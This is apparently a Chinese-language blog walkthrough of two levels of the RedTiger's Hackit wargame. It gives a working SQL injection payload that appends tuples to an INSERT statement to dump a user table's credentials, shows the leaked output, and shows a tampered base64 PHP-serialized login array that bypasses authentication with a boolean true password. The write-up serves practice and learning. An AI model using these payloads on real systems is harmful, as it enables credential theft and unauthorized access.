RedTiger's Hackit(level9-10)

295 阅读1分钟

level9:(insert)

一个提交文章的界面,提交后文章可显示在前端

image.png

注入点在第三个输入框,因为输入单引号会报错(引号都不能用写个der的文章xD)

后端语句为

insert into art (name, title, content) values ('pay1','pay2','pay3');

利用values后可以接多个元组,构造payload

autor=aaa&title=aaa&text=aaa'),((select group_concat(username,password) from level9_users limit 0,1),'aaa','aaa&post=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

得到第一条用户的账号密码

<br>Autor: aaa <br>Title: aaa <br>aaa <br><br>Autor: TheBlueFlowerthis_oassword_is_SEC//Ure.promised! <br>Title: aaa <br>aaa <br><br>

level10:

image.png

抓包,发现post数据中的神秘代码 login=YToyOntzOjg6InVzZXJuYW1lIjtzOjY6Ik1vbmtleSI7czo4OiJwYXNzd29yZCI7czoxMjoiMDgxNXBhc3N3b3JkIjt9&dologin=Login

login那一串盲猜base64,果不其然是

a:2:{s:8:"username";s:6:"Monkey";s:8:"password";s:12:"0815password";}

这是php的序列化数组,稍微改一下再发包

a:2:{s:8:"username";s:9:"TheMaster";s:8:"password";s:12:"0815password";}

提示login incorrect。于是换了好几个sqli万能密码,都没用。看wp,发现只要把password改成True就行了哈哈哈哈

a:2:{s:8:"username";s:9:"TheMaster";s:8:"password";b:1;}

最后贴一下python base64encode的函数,python里要转成字节流什么的特麻烦

import base64
def decode(str):
    #转成bytes string
    bytesString = str.encode(encoding="utf-8")
    #base64 编码
    encodestr = base64.b64encode(bytesString)
    return encodestr.decode()

image.png